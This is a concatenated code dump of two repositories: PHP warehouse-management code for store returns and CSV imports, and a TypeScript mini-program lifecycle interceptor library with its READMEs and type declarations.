if ($data['sort']=='created_at') $data['sort'] = 'store_return.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getCountSODetails($so_no) {
$storeOrderDetail = StoreReturnDetail::select('store_return_detail.*', 'product_lists.description')
->join('product_lists', 'store_return_detail.sku', '=', 'product_lists.upc')
// ->join('store_return', 'store_return.so_no', '=', 'store_return_detail.so_no', 'LEFT')
->where('so_no', '=', $so_no)
->get();
return $storeOrderDetail->count();
}
/**
* Get store return detail by store order number
*
* @example PicklistDetails::getDetailByDocNo({$docNo})
*
* @param sku move_doc_nmber
* @return array of picklist details by move document number
*/
public static function getDetailBySoNo($soNo)
{
$query = StoreReturnDetail::select('store_return_detail.sku',"product_lists.description", 'so_no', 'delivered_qty', 'received_qty', 'so_no')
->leftJoin('product_lists' , 'product_lists.upc', '=', 'store_return_detail.sku')
->where('so_no', '=', $soNo)
->orderBy('product_lists.sku', 'asc')
->get();
return $query;
}
/**
* Save details by move_doc_number
* @param integer $docNo Picklist document number
* @param json $data Details in json format
* @param integer $user_id id of the user
* @return boolean
*/
public static function saveDetail($soNo, $data, $user_id)
{
$doneId = Dataset::getType(array('data_code' => 'SR_STATUS_TYPE', 'data_value'=> 'done'))
->toArray();
//UPDATE ssi.wms_letdown_details SET moved_qty = 250, to_slot_code = 'PCK00001', move_to_picking_area = 1
// WHERE from_slot_code = 'CRAC' AND move_doc_number = 8858 AND sku = '2800090900154'
foreach ($data as $key => $v) {
// print_r($value); die();
// foreach ($value as $v) {
$receivedQty = $v['received_qty'];
$sku = $v['sku'];
// $slot_code = $v['slot_code'];
$detail = StoreReturnDetail::where('so_no', '=', $soNo)
->where('sku', '=', $sku)
->first();
// $detail->received_qty = ($detail->received_qty + $receivedQty);
$detail->received_qty = $receivedQty;
$detail->updated_at = date('Y-m-d H:i:s');
$detail->save();
$dataAfter = $receivedQty .' items of '. $sku . ' was received';
self::saveAuditTrail($dataAfter, $soNo);
// }
}
return true;
}
/**
* post audit trail when store return details was done
*
* @example self::saveAuditTrail();
*
* @param dataAfter changes that happened to the store reutnr details
* @param soNo store order #
* @return void
*/
public static function saveAuditTrail($dataAfter, $soNo)
{
$arrParams = array(
'module' => Config::get("audit_trail_modules.store_return"),
'action' => Config::get("audit_trail.done_store_return"),
'reference' => "Store Return #: " .$soNo,
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => Authorizer::getResourceOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
}<file_sep><?php
// include_once("ewms_connection.php");
chdir(dirname(__FILE__));
include_once('ewms_connection.php');
class cronEWMS {
var $instance;
//eWMS TABLES
public static $products = 'wms_product_lists';
public static $slots = 'wms_slot_lists';
public static $vendors = 'wms_vendors';
public static $stores = 'wms_store_detail_box';
public static $department = 'wms_department';
public static $slotDetails = 'wms_slot_details';
public static $inventory = 'wms_inventory';
public static $purchaseOrder = 'wms_purchase_order_lists';
public static $purchaseOrderDetails = 'wms_purchase_order_details';
public static $letdown = 'wms_letdown';
public static $letdownDetails = 'wms_letdown_details';
public static $picklist = 'wms_picklist';
public static $picklistDetails = 'wms_picklist_details';
public static $storeOrder = 'wms_store_order';
public static $storeOrderDetails = 'wms_store_order_detail';
public static $storeReturn = 'wms_store_return';
public static $storeReturnDetail = 'wms_store_return_detail';
public static $storeReturn_pick = 'wms_store_return_pickinglist';
public static $storeReturnDetail_pick = 'wms_store_return_pick_details';
public static $reverse_logistic = 'wms_reverse_logistic';
public static $storeReturnDetail_return = 'wms_reverse_logistic_det';
public static $storeOrderLetdown = 'wms_store_order_letdown';
public function __construct() {
$this->instance = new eWMSMigration();
}
public function products() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "product";
$eWMSTable = self::$products;
$columns = '(@sku, @upc, @short_description, @description, @vendor, @dept_code, @sub_dept, @class, @sub_class, @set_code)
SET sku=@sku, upc=@upc, short_description=@short_description, description=@description, vendor=@vendor, dept_code=@dept_code, sub_dept=@sub_dept, class=@class, sub_class=@sub_class, set_code=@set_code ';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function slots() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "slot_master";
$eWMSTable = self::$slots;
$columns = '(@slot_code, @zone_code,@store_code) set slot_code=@slot_code, zone_code=@zone_code, store_code=@store_code';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function vendors() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "vendor_master";
$eWMSTable = self::$vendors;
$columns = '(vendor_code, vendor_name)';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function department() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "department";
$eWMSTable = self::$department;
$columns = '(@dept_code, @sub_dept, @class, @sub_class, @description)
set dept_code=@dept_code, sub_dept=@sub_dept, class=@class, sub_class=@sub_class, description=@description';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function stores() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_master";
$eWMSTable = self::$stores;
$columns = '(@store_code, @store_name, @address1, @address2, @address3, @city ) set store_code=@store_code, store_name=@store_name, address1=@address1, address2=@address2, address3=@address3, city=@city';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function picklist() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "picklist_header";
$eWMSTable = self::$picklist;
// $type = 'store';
$columns = '(@move_doc_number,@ship_date) set move_doc_number=@move_doc_number, ship_date=@ship_date';
// WHMOVE
// move_doc_number
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function picklistDetail() {
//unique index: store_or_sku, move_doc_number, from_slot_code, store_code, so_no
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "picklist_detail";
$eWMSTable = self::$picklistDetails;
$columns = '( @move_doc_number, @sku, @from_slot_code, @quantity_to_pick, @store_code, @created_at )
set move_doc_number=@move_doc_number, sku=@sku, from_slot_code=@from_slot_code,
quantity_to_pick=@quantity_to_pick, store_code=@store_code, created_at=@created_at';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
/*public function storeOrderLetdown() {
//unique index: store_or_sku, move_doc_number, from_slot_code, store_code, so_no
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "picklist_detail";
$eWMSTable = self::$storeOrderLetdown;
$columns = '(@move_doc_number, @sku, @from_slot_code, @quantity_to_pick, @store_code, @so_no) set so_no=@so_no, move_doc_number=@move_doc_number';
// $this->instance->mysqlDump($eWMSTable);
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}*/
public function purchaseOrder() {
//unique index: store_or_sku, move_doc_number, from_slot_code, store_code, so_no
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "purchase_order_header";
$eWMSTable = self::$purchaseOrder;
$columns = '( @receiver_no, @invoice_no, @purchase_order_no, @total_qty, @entry_date)
set receiver_no=@receiver_no, invoice_no=@invoice_no, purchase_order_no=@purchase_order_no,
total_qty=@total_qty, entry_date=@entry_date';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
public function purchaseOrderDetails() {
//unique index: store_or_sku, move_doc_number, from_slot_code, store_code, so_no
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "purchase_order_detail";
$eWMSTable = self::$purchaseOrderDetails;
$columns = '(@sku, @upc, @receiver_no, @dept_number, @quantity_ordered,@dept_name) set sku=@sku, upc=@upc, receiver_no=@receiver_no,dept_number=@dept_number,quantity_ordered=@quantity_ordered,division=@dept_name,po_status="1"' ;
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
// $this->instance->_setPoIds(self::$ purchaseOrder, $ result);
}
//blank
public function storeOrder() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_master_test";
$eWMSTable = self::$stores;
$columns = '(@store_code, @store_name, @address1, @address2, @address3, @city ) set store_code=@store_code, store_name=@store_name, address1=@address1, address2=@address2, address3=@address3, city=@city';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeOrderDetails() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_order_detail";
$eWMSTable = self::$storeOrderDetails;
// $columns = '(so_no, sku, ordered_qty, allocated_qty)';
$columns = '(so_no, sku, ordered_qty)';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturn() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_return_header";
$eWMSTable = self::$storeReturn;
$columns = '(@so_no, @from_store_code, @to_store_code) set so_no=@so_no, from_store_code=@from_store_code, to_store_code=@to_store_code';
// so_no | store_name | so_status | order_date | created_at
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturnDetail() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_return_detail";
$eWMSTable = self::$storeReturnDetail;
$columns = '(@so_no, @sku, @delivered_qty) set so_no=@so_no, sku=@sku, delivered_qty=@delivered_qty';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturn_pick() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_return_pickinglist";
$eWMSTable = self::$storeReturn_pick;
$columns = '(@so_no) set move_doc_number=@so_no';
// so_no | store_name | so_status | order_date | created_at
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturnDetail_pick() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "store_return_pick_details";
$eWMSTable = self::$storeReturnDetail_pick;
$columns = '(@so_no, @to_store_code, @upc, @from_store_code, @quantity_to_pick) set move_doc_number=@so_no, to_store_code=@to_store_code, sku=@upc, from_store_code=@from_store_code, quantity_to_pick=@quantity_to_pick';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturn_return() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "reverse_logistic";
$eWMSTable = self::$reverse_logistic;
$columns = '(@so_no, @from_store_code) set move_doc_number=@so_no, from_store_code=@from_store_code';
// so_no | store_name | so_status | order_date | created_at
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function storeReturnDetail_return() {
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "reverse_logistic_det";
$eWMSTable = self::$storeReturnDetail_return;
$columns = '(@so_no, @upc, @delivered_qty) set move_doc_number=@so_no, upc=@upc, delivered_qty=@delivered_qty';
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns);
}
//blank
public function inventory() {
//unique index: store_or_sku, move_doc_number, from_slot_code, store_code, so_no
echo "\n Running method " . __METHOD__ . "\n";
$csvfile_pattern = "inventory";
$eWMSTable = self::$inventory;
$columns = '(@sku,@quantity_on_hand,@quantity_committed,@slot_id) set sku=@sku, quantity_on_hand=@quantity_on_hand, quantity_committed=@quantity_committed, slot_id=@slot_id';
// vendor_id | receiver_no | purchase_order_no | destination | po_status
// $this->instance->mysqlDump($eWMSTable); //back up inventory on the ewms
$csvLocation = $this->instance->getLatestCsv($csvfile_pattern);
$this->instance->import($csvLocation, $eWMSTable, $columns, TRUE);
$this->instance->_resetPrimaryId($eWMSTable);//reset primary key
}
public function close() {
$this->instance->close();
}
}
| 21cf4c819a912be9a9ad9d574a97f6954eb7dfae | [
"SQL",
"PHP",
"Shell"
] | 217 | PHP | husnieboy/rsci-wh-debenhams | b074d472bae367b3216eb0c4f8750613a26d6c7e | 9f3926dd02b7a1761af0b2e1866d6859e5277477 |
refs/heads/main | <repo_name>wenshan/mini-lifecycle-interceptor<file_sep>/src/utils/wxCompose.ts
export type INextHandle = () => Promise<any>
export type IHandle<T> = (options: T, next: INextHandle) => any
export type IComposeHandle<T> = (options: T, next?: INextHandle) => Promise<void>
/**
* 仿照koa-compose,连接拦截器方法数组
* @param handles {Array<IHandle>>} - 拦截器方法数组
* @returns composeHandles {IComposeHandle} - 连接好小程序原生生命周期方法后的数组
*/
export default function wxCompose<T>(handles: Array<IHandle<T>>): IComposeHandle<T> {
return function (this: any, options, next) {
const wxThis = this
// last called handle #
let index = -1
function dispatch(i: number): Promise<void> {
if (i <= index) return Promise.reject(new Error('next() called multiple times'))
index = i
let fn = handles[i]
if (i === handles.length) {
fn = next as IHandle<T>
}
if (!fn) return Promise.resolve()
try {
return fn.call(wxThis, options, dispatch.bind(null, i + 1))
} catch (err) {
return Promise.reject(err)
}
}
return dispatch(0)
}
}
<file_sep>/README.md
# mini-lifecycle-interceptor
[](https://github.com/yangger6/mini-lifecycle-interceptor/blob/main/README_EN.md)
小程序生命周期方法拦截器
## 特性
- [x] 拦截Page
- [x] 拦截Component
- [x] 支持Promise
- [ ] 支持过滤
- [ ] 支持排除
## 运行平台支持
- [x] 支持微信小程序
- [x] 支持Taro
- [x] 支持支付宝小程序
不同的小程序平台的拦截器方法的支持程度如下:
| 方法名 | 容器类型 |描述 | 微信小程序 | 支付宝小程序 |
| ------------- | ------------- |---------------------------------------------------------------------------- | --------------- | ------------- |
| onLoad | `Page` | 页面加载时触发。一个页面只会调用一次,可以在 onLoad 的参数中获取打开当前页面路径中的参数。 | ✔️ | ✔️ |
| onShow | `Page` | 页面显示/切入前台时触发 | ✔️ | ✔️ |
| onReady | `Page` | 页面初次渲染完成时触发 | ✔️ | ✔️ |
| onHide | `Page` | 页面隐藏/切入后台时触发 | ✔️ | ✔️ |
| onUnload | `Page` | 页面卸载时触发 | ✔️ | ✔️ |
| created | `Component` | 在组件实例进入页面节点树时执行 | ✔️ | ✔️ |
| attached | `Component` | 在组件实例进入页面节点树时执行 | ✔️ | ✔️ |
| ready | `Component` | 在组件在视图层布局完成后执行 | ✔️ | ✔️ |
| detached | `Component` | 在组件实例被从页面节点树移除时执行 | ✔️ | ✔️ |
| moved | `Component` | 在组件实例被移动到节点树另一个位置时执行 | ✔️ | ✘ |
| update | `Component` | 组件更新完毕时触发 | ✘ | ✔️ |
| error | `Component` | 每当组件方法抛出错误时执行 | ✔️ | ✔️ |
## 安装
使用 npm:
```bash
$ npm install mini-lifecycle-interceptor --save
```
使用 yarn:
```bash
$ yarn add mini-lifecycle-interceptor
```
## 示例
使用Taro:
```typescript
import { useEffect } from 'react'
import miniLifeCycle from 'mini-lifecycle-interceptor'
miniLifeCycle.create(process.env.TARO_ENV) // weapp | alipay, default: weapp
function App(props: any) {
const delay = (t, prefix) =>
new Promise((res) =>
setTimeout(() => {
console.log(`${prefix}: delay ${t}ms`)
res()
}, t)
)
useEffect(() => {
miniLifeCycle.interceptors.onLoad.use(async function (options, next) {
console.log('before onLoad', options)
await delay(1000, 'step1')
next()
})
miniLifeCycle.interceptors.onLoad.use([
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step2')
next()
},
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step3')
next()
}
])
miniLifeCycle.interceptors.onLoad.useAfter([
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step4')
next()
},
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step5')
next()
}
])
}, [])
}
// Console
// step1: delay 1000ms
// step2: delay 1000ms
// step3: delay 1000ms
// step origin fn onLoad
// step4: delay 1000ms
// step5: delay 1000ms
```
使用微信小程序:
[在开发者工具中预览效果](https://developers.weixin.qq.com/s/OTFY2om97wrf)
## API
创建方法可以用来修改 `mini-lifecycle-interceptor`的配置.
miniLifeCycle.create(env, config)
```typescript
// 微信 weapp 支付宝 alipay
miniLifeCycle.create('weapp', { // or alipay
// TODO
})
```
## 拦截器方法
为方便起见,为所有支持的拦截器方法提供了别名
### 页面生命周期方法拦截器
miniLifeCycle.interceptors.onLoad.use // or miniLifeCycle.interceptors.onLoad.useAfter
miniLifeCycle.interceptors.onShow.use // or miniLifeCycle.interceptors.onShow.useAfter
miniLifeCycle.interceptors.onHide.use // or miniLifeCycle.interceptors.onHide.useAfter
miniLifeCycle.interceptors.onReady.use // or miniLifeCycle.interceptors.onReady.useAfter
miniLifeCycle.interceptors.onUnload.use // or miniLifeCycle.interceptors.onUnload.useAfter
### 自定义组件生命周期方法拦截器
miniLifeCycle.interceptors.created.use // or miniLifeCycle.interceptors.created.useAfter
miniLifeCycle.interceptors.attached.use // or miniLifeCycle.interceptors.attached.useAfter
miniLifeCycle.interceptors.ready.use // or miniLifeCycle.interceptors.ready.useAfter
miniLifeCycle.interceptors.detached.use // or miniLifeCycle.interceptors.detached.useAfter
miniLifeCycle.interceptors.moved.use // or miniLifeCycle.interceptors.moved.useAfter
miniLifeCycle.interceptors.error.use // or miniLifeCycle.interceptors.error.useAfter
## 许可证
[MIT](LICENSE)
<file_sep>/spack.config.js
module.exports = {
mode: 'production',
entry: {
index: `${__dirname}/src/index.ts`,
},
output: {
path: `${__dirname}/dist`,
},
minify: true,
}
<file_sep>/src/index.ts
import InterceptorManager, { isLifeCyclePrototype } from './core/InterceptorManager'
import { overwriteComponent, overwritePage } from './core/overwriteMiniLifeCycle'
import {
getMiniProgramLifecycles,
IMiniProgramComponentLifecyclePublicKeys,
IMiniProgramPageLifecyclePublicKeys,
} from './core/miniLifecycles'
export type APP_ENV = 'weapp' | 'alipay'
export interface IMiniLifeCycle {
env: APP_ENV
originPage: any
originComponent: any
isInitSuccess: boolean
interceptors?: {
[key in IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys]: InterceptorManager
}
create: (env: APP_ENV) => void
init: () => void
addInterceptors: () => void
}
class MiniLifeCycle implements IMiniLifeCycle {
env: APP_ENV
originPage: any
originComponent: any
isInitSuccess: boolean
interceptors?: {
[key in IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys]: InterceptorManager
}
constructor() {
try {
this.originPage = Page
this.originComponent = Component
} catch (e) {
console.error('绑定小程序原生方法Page、Component异常:\t', e)
}
this.env = 'weapp'
this.isInitSuccess = false
}
/**
* TODO 区别平台做不同的适配
* TODO options
* 创建 区分运行平台或者传入配置项
* @param env
*/
create(env: APP_ENV) {
this.env = env
this.init()
this.addInterceptors()
}
/**
* 初始化拦截器
*/
init() {
const env = this.env
const { pageLifecycles, componentLifecycles } = getMiniProgramLifecycles(env)
if (!pageLifecycles && !componentLifecycles) {
console.error(`小程序平台: ${this.env}, 没有配置Page、Component的生命周期方法`)
this.isInitSuccess = false
return
}
this.interceptors = new Proxy(
{},
{
get(target: any, prototypeText: IMiniProgramComponentLifecyclePublicKeys): any {
if (isLifeCyclePrototype(env, prototypeText) && !target[prototypeText]) {
target[prototypeText] = new InterceptorManager(env, prototypeText)
}
if (!target[prototypeText]) {
console.error(`当前小程序运行平台没有此生命周期方法 -> ${prototypeText}`)
return {}
}
return target[prototypeText]
},
},
) as {
[key in IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys]: InterceptorManager
}
this.isInitSuccess = true
}
/**
* 给小程序的Page、Component注入拦截器
*/
addInterceptors() {
// eslint-disable-next-line
// @ts-ignore
if (Page && Component && this.isInitSuccess) {
Page = overwritePage.bind(this)
Component = overwriteComponent.bind(this)
}
}
}
export default new MiniLifeCycle()
<file_sep>/types/index.d.ts
import InterceptorManager from './core/InterceptorManager';
import { IMiniProgramComponentLifecyclePublicKeys, IMiniProgramPageLifecyclePublicKeys } from './core/miniLifecycles';
export declare type APP_ENV = 'weapp' | 'alipay';
export interface IMiniLifeCycle {
env: APP_ENV;
originPage: any;
originComponent: any;
isInitSuccess: boolean;
interceptors?: {
[key in IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys]: InterceptorManager;
};
create: (env: APP_ENV) => void;
init: () => void;
addInterceptors: () => void;
}
declare class MiniLifeCycle implements IMiniLifeCycle {
env: APP_ENV;
originPage: any;
originComponent: any;
isInitSuccess: boolean;
interceptors?: {
[key in IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys]: InterceptorManager;
};
constructor();
/**
* TODO 区别平台做不同的适配
* TODO options
* 创建 区分运行平台或者传入配置项
* @param env
*/
create(env: APP_ENV): void;
/**
* 初始化拦截器
*/
init(): void;
/**
* 给小程序的Page、Component注入拦截器
*/
addInterceptors(): void;
}
declare const _default: MiniLifeCycle;
export default _default;
<file_sep>/src/core/overwriteMiniLifeCycle.ts
import InterceptorManager from './InterceptorManager'
import wxCompose, { INextHandle } from '../utils/wxCompose'
import { IMiniLifeCycle } from '../index'
import { compareVersion } from '../utils/index'
import {
getMiniProgramLifecycles,
IMiniProgramComponentLifecyclePublicKeys,
IMiniProgramPageLifecyclePublicKeys,
} from './miniLifecycles'
/**
* 覆盖写入小程序Page方法
* @param options - 小程序传入的参数
*/
export function overwritePage(this: IMiniLifeCycle, options: any) {
const miniLifeCycleInstance = this
const { pageLifecycles } = getMiniProgramLifecycles(miniLifeCycleInstance.env)
if (!pageLifecycles) {
console.error(`小程序平台: ${miniLifeCycleInstance.env}, 没有配置Page的生命周期方法`)
return
}
Object.keys(pageLifecycles).forEach((pageLifeCycleKey) => {
// 当前小程序生命周期方法名
const currentLifecycleFunctionName = pageLifecycles[pageLifeCycleKey as IMiniProgramPageLifecyclePublicKeys]
// 小程序生命周期原来的方法
const originLifeCycleFunction = options[currentLifecycleFunctionName]
// 包装
options[currentLifecycleFunctionName] = function (...args: any) {
// 小程序生命周期内的上下文
const miniContext = this
// 如果写了拦截器
if (
miniLifeCycleInstance.interceptors &&
Object.hasOwnProperty.call(miniLifeCycleInstance.interceptors, currentLifecycleFunctionName)
) {
const { useHandles, useAfterHandles }: InterceptorManager =
miniLifeCycleInstance.interceptors[pageLifeCycleKey as IMiniProgramPageLifecyclePublicKeys]
// 包装页面的生命周期函数
const wrapperFn = <T>(options: T, next: INextHandle): void => {
if (originLifeCycleFunction) {
originLifeCycleFunction.call(miniContext, options)
}
next()
}
return wxCompose([...useHandles, wrapperFn, ...useAfterHandles]).apply(miniContext, args)
} else {
// 返回本身
if (originLifeCycleFunction) {
return originLifeCycleFunction.apply(miniContext, args)
}
}
}
})
return miniLifeCycleInstance.originPage(options)
}
export function overwriteComponent(this: IMiniLifeCycle, options: any) {
const miniLifeCycleInstance = this
const { componentLifecycles } = getMiniProgramLifecycles(miniLifeCycleInstance.env)
if (!componentLifecycles) {
console.error(`小程序平台: ${miniLifeCycleInstance.env}, 没有配置Component的生命周期方法`)
return
}
// ========== 微信小程序特殊处理开始 ==========
let needOverwriteLifetimes = false // 是否要覆盖写入lifetimes字段
let optionsOrLifeTimes: any
if (miniLifeCycleInstance.env === 'weapp') {
// 自小程序基础库版本 2.2.3 起,组件的的生命周期也可以在 lifetimes 字段内进行声明(这是推荐的方式,其优先级最高)
const currentVersion = (wx as any)?.version?.version
if (compareVersion(currentVersion, '2.2.3') >= 0) {
// 所以这里要对 lifetimes 做适配
if (!options.lifetimes) {
options.lifetimes = {}
}
needOverwriteLifetimes = true
optionsOrLifeTimes = options.lifetimes
}
} else {
optionsOrLifeTimes = options
}
// ========== 微信小程序特殊处理结束 ==========
Object.keys(componentLifecycles).forEach((componentLifeCycleKey) => {
// 当前小程序生命周期方法名
const currentLifecycleFunctionName =
componentLifecycles[componentLifeCycleKey as IMiniProgramComponentLifecyclePublicKeys]
if (needOverwriteLifetimes) {
// 把原本的生命周期方法写入 lifetimes
// eslint-disable-next-line @typescript-eslint/no-empty-function
optionsOrLifeTimes[currentLifecycleFunctionName] =
optionsOrLifeTimes[currentLifecycleFunctionName] || function () {}
// 防止重复调用 删除原来的
delete options[currentLifecycleFunctionName]
}
// 原来的生命周期的方法
const originLifeCycleFunction = optionsOrLifeTimes[currentLifecycleFunctionName]
// 设置新的生命周期方法
optionsOrLifeTimes[currentLifecycleFunctionName] = function (...args: any) {
// 小程序生命周期内的上下文
const miniContext = this
// 如果有拦截器
if (
miniLifeCycleInstance.interceptors &&
Object.hasOwnProperty.call(miniLifeCycleInstance.interceptors, componentLifeCycleKey)
) {
const { useHandles, useAfterHandles }: InterceptorManager =
miniLifeCycleInstance.interceptors[componentLifeCycleKey as IMiniProgramComponentLifecyclePublicKeys]
// 包装页面的生命周期函数
const wrapperFn = <T>(options: T, next: INextHandle): void => {
if (originLifeCycleFunction) {
originLifeCycleFunction.call(miniContext, options)
}
next()
}
return wxCompose([...useHandles, wrapperFn, ...useAfterHandles]).apply(miniContext, args)
} else {
if (originLifeCycleFunction) {
// 返回本身
return originLifeCycleFunction.apply(miniContext, args)
}
}
}
})
return miniLifeCycleInstance.originComponent(options)
}
<file_sep>/README_EN.md
# mini-lifecycle-interceptor
[](https://github.com/yangger6/mini-lifecycle-interceptor/blob/main/README.md)
Mini Program lifeCycle interceptor
## Features
- [x] interceptor Page
- [x] interceptor Component
- [x] support Promise
- [ ] support filter
- [ ] support exclude
## App Env Support
- [x] support Wechat Mini Program
- [x] support Taro
- [x] support Alipay Mini Program
Different App Env Support Table.
| Prototype | Wrapper Type | Description | Wechat | Alipay |
| ------------- | ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------- | ------------- |
| onLoad | `Page` | Executed when the page instance is created.A page will only be called once. You can get the parameters in the path to open the current page from the parameters of onload. | ✔️ | ✔️ |
| onShow | `Page` | Executed when the page instance is displayed/cut into the foreground | ✔️ | ✔️ |
| onReady | `Page` | Executed when the page instance is completed render the first page. | ✔️ | ✔️ |
| onHide | `Page` | Executed when the page instance is displayed/cut into the background | ✔️ | ✔️ |
| onUnload | `Page` | Executed when the page instance is unloaded | ✔️ | ✔️ |
| created | `Component` | Executed when the component instance is created | ✔️ | ✔️ |
| attached | `Component` | Executed when the component instance enters the page node tree | ✔️ | ✔️ |
| ready | `Component` | Executed when the component layout is completed in the view layer | ✔️ | ✔️ |
| detached | `Component` | Executed when the component instance is moved to another node tree | ✔️ | ✔️ |
| moved | `Component` | Executed when the component instance is removed from the page node tree | ✔️ | ✘ |
| update | `Component` | Executed when the the component is updated | ✘ | ✔️ |
| error | `Component` | Executed each time the component method throws an exception | ✔️ | ✔️ |
## Installing
Using npm:
```bash
$ npm install mini-lifecycle-interceptor --save
```
Using yarn:
```bash
$ yarn add mini-lifecycle-interceptor
```
## Example
Using Taro:
```typescript
import { useEffect } from 'react'
import miniLifeCycle from 'mini-lifecycle-interceptor'
miniLifeCycle.create(process.env.TARO_ENV) // weapp | alipay, default: weapp
function App(props: any) {
const delay = (t, prefix) =>
new Promise((res) =>
setTimeout(() => {
console.log(`${prefix}: delay ${t}ms`)
res()
}, t)
)
useEffect(() => {
miniLifeCycle.interceptors.onLoad.use(async function (options, next) {
console.log('before onLoad', options)
await delay(1000, 'step1')
next()
})
miniLifeCycle.interceptors.onLoad.use([
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step2')
next()
},
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step3')
next()
}
])
miniLifeCycle.interceptors.onLoad.useAfter([
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step4')
next()
},
async function (options, next) {
console.log('after onLoad', options)
await delay(1000, 'step5')
next()
}
])
}, [])
}
// Console
// step1: delay 1000ms
// step2: delay 1000ms
// step3: delay 1000ms
// step origin fn onLoad
// step4: delay 1000ms
// step5: delay 1000ms
```
Using Wechat Mini Program
[Preview effects in wechatwebdevtools.app](https://developers.weixin.qq.com/s/OTFY2om97wrf)
## mini-lifecycle-interceptor API
create can be made by passing the relevant config to `mini-lifecycle-interceptor`.
miniLifeCycle.create(env, config)
```typescript
// Wechat: weapp Alipay: alipay
miniLifeCycle.create('weapp', { // or alipay
// TODO
})
```
## Interceptors method aliaes
For convenience aliases have been provided for all supported mini program lifeCycle methods.
### Page LifeCycle Method Interceptor
miniLifeCycle.interceptors.onLoad.use // or miniLifeCycle.interceptors.onLoad.useAfter
miniLifeCycle.interceptors.onShow.use // or miniLifeCycle.interceptors.onShow.useAfter
miniLifeCycle.interceptors.onHide.use // or miniLifeCycle.interceptors.onHide.useAfter
miniLifeCycle.interceptors.onReady.use // or miniLifeCycle.interceptors.onReady.useAfter
miniLifeCycle.interceptors.onUnload.use // or miniLifeCycle.interceptors.onUnload.useAfter
### Component LifeCycle Method Interceptor
miniLifeCycle.interceptors.created.use // or miniLifeCycle.interceptors.created.useAfter
miniLifeCycle.interceptors.attached.use // or miniLifeCycle.interceptors.attached.useAfter
miniLifeCycle.interceptors.ready.use // or miniLifeCycle.interceptors.ready.useAfter
